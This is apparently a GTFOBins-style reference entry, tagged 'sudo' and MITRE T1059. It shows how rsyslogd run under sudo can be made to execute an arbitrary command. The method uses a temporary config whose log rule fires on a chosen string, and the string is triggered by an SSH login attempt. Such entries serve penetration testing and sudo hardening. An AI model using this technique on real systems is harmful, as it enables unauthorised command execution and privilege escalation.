rsyslogd

In order for this to work, one must be able to trigger one event containing the chosen string, e.g., `somerandomstring`. One possibility is to attempt to connect to the victim host via SSH, for example: ``` ssh somerandomstring@victim.com ```

cat >/path/to/temp-file <<EOF
module(load="imuxsock")
:msg, contains, "somerandomstring" ^/path/to/command
EOF

rsyslogd -f /path/to/temp-file

Context

sudo

Native

command

MITRE

T1059

Refs

gtfobins.github.io/gtfobins/rsyslogd/